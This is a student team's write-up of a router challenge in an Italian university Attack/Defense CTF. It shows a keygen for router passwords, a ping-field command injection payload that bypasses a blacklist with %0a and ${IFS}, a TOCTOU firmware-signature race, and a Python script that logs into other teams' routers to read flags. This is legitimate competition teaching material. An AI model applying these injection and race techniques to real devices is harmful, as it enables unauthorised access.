home_r00ter
Cyberchallenge.IT finals A/D
(This writeup was written by me and Kien Tuong Truong, check out also his page!)
Introduction
Six guys, one router
On the 1st of October the CyberChallenge.IT project held an Attack/Defense CTF, in which one team for each of the 28 participating Italian universities was competing to be crowned as the CyberChallenge.IT champion and to have a chance to be selected for Team Italy during ECSC 2021.
We, along with other 4 people, were representing the Politecnico di Milano in this 8-hour competition. In the end, we placed 2nd, behind the University of Pisa and just ahead of the University of Verona.
Among all the challenges, arguably, the most interesting was one called home_r00ter. It was a mixture of many different challenges, featuring command injections, reverse engineering, race conditions, and much more. For this reason, you should expect a long writeup, but we promise you: it's worth it! :)
The physical setup of the challenge consisted of 28 routers placed in the same location. Each team could remotely access its own router (and only that one) through the competition's VPN.
We were provided with some files found in our main vulnbox. Among the files there were:
- A file called
cfgbin
, which was a 64-bit ARM executable list.txt
An exhaustive list of every router's MAC and serial numberupdate_key
An hexadecimal string
The router exposed ports 22 and 80, but both the webserver and the ssh required authentication for which we had no credentials :/.
A Problem-ARM-tic Binary
If only we had an ARM processor on the table…
Looking at the decompiled code of cfgbin we found that the router SSID, the WPA key, and the web password (the same as the WPA key) were generated from the serial number and the MAC of the device.
Unfortunately, since this was an ARM executable, we couldn't run this code natively on our machine. Not knowing any other alternatives, we started creating a keygen script. This process turned out to be really nasty and eventually, after some googling, we opted for executing the binary by using QEMU (Still don't know what went wrong with the reversing :/).
Following this guide, we could set up an arm64 environment with a fully functional gdb (with pwndbg). The advantage of QEMU is that it is not completely emulated. In fact, the executable used our system's syscall, and hence we could create every file it needed in our filesystem.
With gdb we could jump wherever we needed and skip the initial method that was blocking the execution check_platform()
and the one that was generating random serials gen_serials()
.
Looking in the get_serial()
and get_mac()
method we could see that the MAC needed to be stored in /sys/class/net/ap0/address
and the serial in /etc/serial
.
int __cdecl main(int argc, const char **argv, cons char **envp)
{
__int64 MAC; // ST18_8
__int64 SERIALE; // ST10_8
check_platform();
gen_serial();
gen_ssid();
gen_update_key();
MAC = get_mac();
SERIALE = get_serial();
gen_key(SERIALE, MAC);
return 0;
}
The binary of course needed to be patched because the path /sys/class/net/ap0/address
couldn't exist in our machine's filesystem. We also patched the main method to make it only generate the key.
Now with a simple python script, we could generate not only our key but also the other players'.
We then realized that all this time we could have executed the code on the Raspberry Pi we were using as NFS server :))))))))).
The Switcheroo
Read this like you're in front of a magician doing his show
After recovering the password, we could connect to our router with that and the username admin
(Mind you again: we could only connect to our router but not the other teams' routers).
From there we were greeted with a page showing some (probably useless) information about the router and two other pages, containing some utilities and a page to update the router's firmware.
The utilities consisted of a ping function and a traceroute function. After running a ping call, we instantly knew that whatever we were putting in the ping input was going directly into a shell. After experimenting with some command separators, we found %0a
which was not in the blacklist and the usual ${IFS}
to insert spaces between parameters. This allowed us to start injecting arbitrary commands.
A few things caught our attention during our filesystem exploration:
- A
/flag
file containing all the flags update.php
A PHP file which managed the update functionality/update.sh
A shell file which was called byupdate.php
to execute the update
The goal was (somewhat) clear: obtain access to the other routers and then extract the flag file by using the command injection vulnerability. The problem was discovering how to connect to the other routers since we had access only to the web interface of the router and we did not have the password to ssh to our router.
A tip was given to everyone by the organizers: we needed to gain access by writing into authorized_keys
.
We obtained the source code for all the PHP files and the shell files by manually “cat-ing” and receiving the output on our Utils panel.
Looking into update.php
we understood how the update was happening: the file that we uploaded was put as /tmp/update.tar.cc
, its permissions were changed, and update.sh
was called.
move_uploaded_file($_FILES['update']['tmp_name'], '/tmp/update.tar.cc');
exec("/bin/chmod 777 /tmp/update.tar.cc");
exec("key=".escapeshellarg($_POST['password'])." /bin/sh -c '/usr/bin/sudo -u upgrade /bin/sh /update.sh' 2>&1", $result);
At this point we tried putting our credentials in the authorized_keys
file by writing a shell script, uploading it to find it later on as /tmp/update.tar.cc
, and executing it via the command injection that we found earlier.
After some experimentation, we discovered that, although we could execute the shell script, we did not have the permissions to write where we wanted since the script was executed by user www-data
, which didn't have a home
folder and, hence, did not have a .ssh
folder either.
We discovered that we had to access as the upgrade
user and the only way to do so was through the update.sh
script, which was executed as upgrade
with sudo
permissions.
Another hint from the organizers ("toctou", Time Of Check Time Of Use) led us to the vulnerability in update.sh
: the firmware tarball that we uploaded had to be signed (we didn't have the possibility of signing, since we didn't have the private key), but it could then be swapped for another tarball while it was checking the original signature (Between the call to openssl and the tar extraction in the following snippet), which would be then extracted in place of the signed tarball.
/bin/echo "[+] Checking Signature"
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature $sig $file`
if [ "$check" == "Verified OK" ]
then
/bin/echo "[+] Signature is valid!"
/bin/echo "[+] Upgrading..."
/bin/tar -xvf $file -C /
/bin/rm $sig
/bin/echo "[+] Done"
else
/bin/echo "[-] Signature error, exiting..."
/bin/rm $sig
fi
After a big fail with locating and downloading an already signed tar from the router (The first time we accidentally truncated the tarball, leading to an invalid signature. After banging our head for a while we then printed the base64 of the tar and recovered the correct one.) we managed to make the swap work, albeit with a little help of the organizers which put a sleep(3)
between the signature check and the tar extraction to make our race condition exploit work more consistently. We finally had ssh access to the router!
Inside the router
Sounds better than it really is
We discovered from the sudoers
file that the upgrade
user had the possibility of running both sudo /wifi/connect.sh
and sudo /wifi/disconnect.sh
.
connect.sh
requires an SSID and a password and uses them to connect to that wifi network through WPA Supplicant. Conversely, disconnect.sh
disconnects the router from that wifi network.
Fun fact: attempting to call connect.sh
twice without disconnecting freezes the router, which was great considering we were in the last 30 minutes of the competition :)
After the admins restarted our router, we started to run our exploit with the help of pwntools:
# The entries were in the form
# [router_IP, serial, MAC, password]
elencoTargets = [
["10.10.1.2","646244DCA8C684F52CBC6C98AFF0FA9B","7c:25:da:50:a0:2e","22ad2132194dc0105a2a"]
,…
]
nPort = 10000
conn = ssh("upgrade","10.10.6.2")
for target in targets:
nPort+=14
conn.run_to_end("sudo /bin/sh /wifi/connect.sh CyberChallenge-%s %s" % (target[1][:4], target[3]))
ipToAttack = conn.run_to_end("route -n | grep client0 | awk '{print $1}'")[0].decode(‘utf-8’)[:-1] + "1" #Extract the default gateway address
subprocess.Popen("ssh upgrade@10.10.6.2 -L " + str(n) + ":"+ipToAttack+":80", shell=True) #Open a tunnel from our
time.sleep(1) #Waiting for connection
req=requests.post("http://admin:"+target[3]+"@localhost:"+str(n)+"/utils.php", data={"action":"ping","host": b"127.0.0.1\ncat${IFS}/flag"})
flags=re.findall(r"ccit\{[A-Za-z0-9]{25}\}",req.text)
conn.run_to_end("sudo /bin/sh /wifi/disconnect.sh")
The exploit was quite complex: the router didn't have the binaries required to run such a thing simply, so we had to use a little trick to forward the connection to our machine and perform the real exploit locally.
Using the ssh connection, we executed the connect.sh
script on the target SSID (This was generated in the binary CyberChallenge-<First 4 characters of the S.N.>
) and using the WPA key, which was the same as the HTTP password.
Then we obtained the gateway address, which wasn't the same in every connection. On this address, we initialized the "proxy" that redirected every request on a local port to that remote host.
We had to change the port on every loop because the last port was already occupied by the connection in the previous iteration (for the lack of time the first and only version of this code had to be written quickly).
Now we could make a request that uses the ping vulnerability which returned all the flags.
In the end, it worked and, since we finished the exploit in the last few minutes, we managed to submit a grand total of… 9 flags! :D
Conclusion
Ok stop laughing this one is serious
After such an odyssey, we wanted to conclude this really long writeup by telling the story of PoliTo. It's a story about unintended vulnerabilities, thinking outside the box, and competition ethics. In short: the team representing Politecnico di Torino managed to find out that the routers were situated in a nearby building and went there to connect directly to the routers with their PCs. They started flagging quite early and earned a lot of points with this challenge alone, putting us in the third position towards the end.
After the admins discovered this, they decided to take away all of their points for this challenge (even the SLA points, which would have put them in third place!). In the end, we got our second place, Verona got the third, and PoliTo, unfortunately, fell to the fourth position.
We will now speak from a personal standpoint and no longer representing the team: we feel like what happened to PoliTo was unfortunate. It was a harsh punishment for thinking outside the box and we believe that it's also the organizer's fault for not thinking about this problem beforehand. We can also understand the point that not everybody could do what they did since each team played from their own cities and couldn't physically access the routers. We also agree that in these dubious situations your best bet is to ask directly to the organizers.
However, we believe that the best course of action was not to entirely void their points for the challenge but to award them for doing something creative, something that actually resembles real hacking. We believe that what we did in CyberChallenge.IT was not just a game: it's a stepping stone in our path in cybersecurity.
In the end, we believe that we could have shared the second place between PoliMi and PoliTo, awarding them for their solution, while, at the same time, not penalizing us either for not having physical access to the routers.
So kudos to the University of Pisa, for being the undiscussed champions of this competition, kudos to the University of Verona, for getting very close to our score making it a really close call up until the last minute, but most importantly: #JeSuisPoliTo :)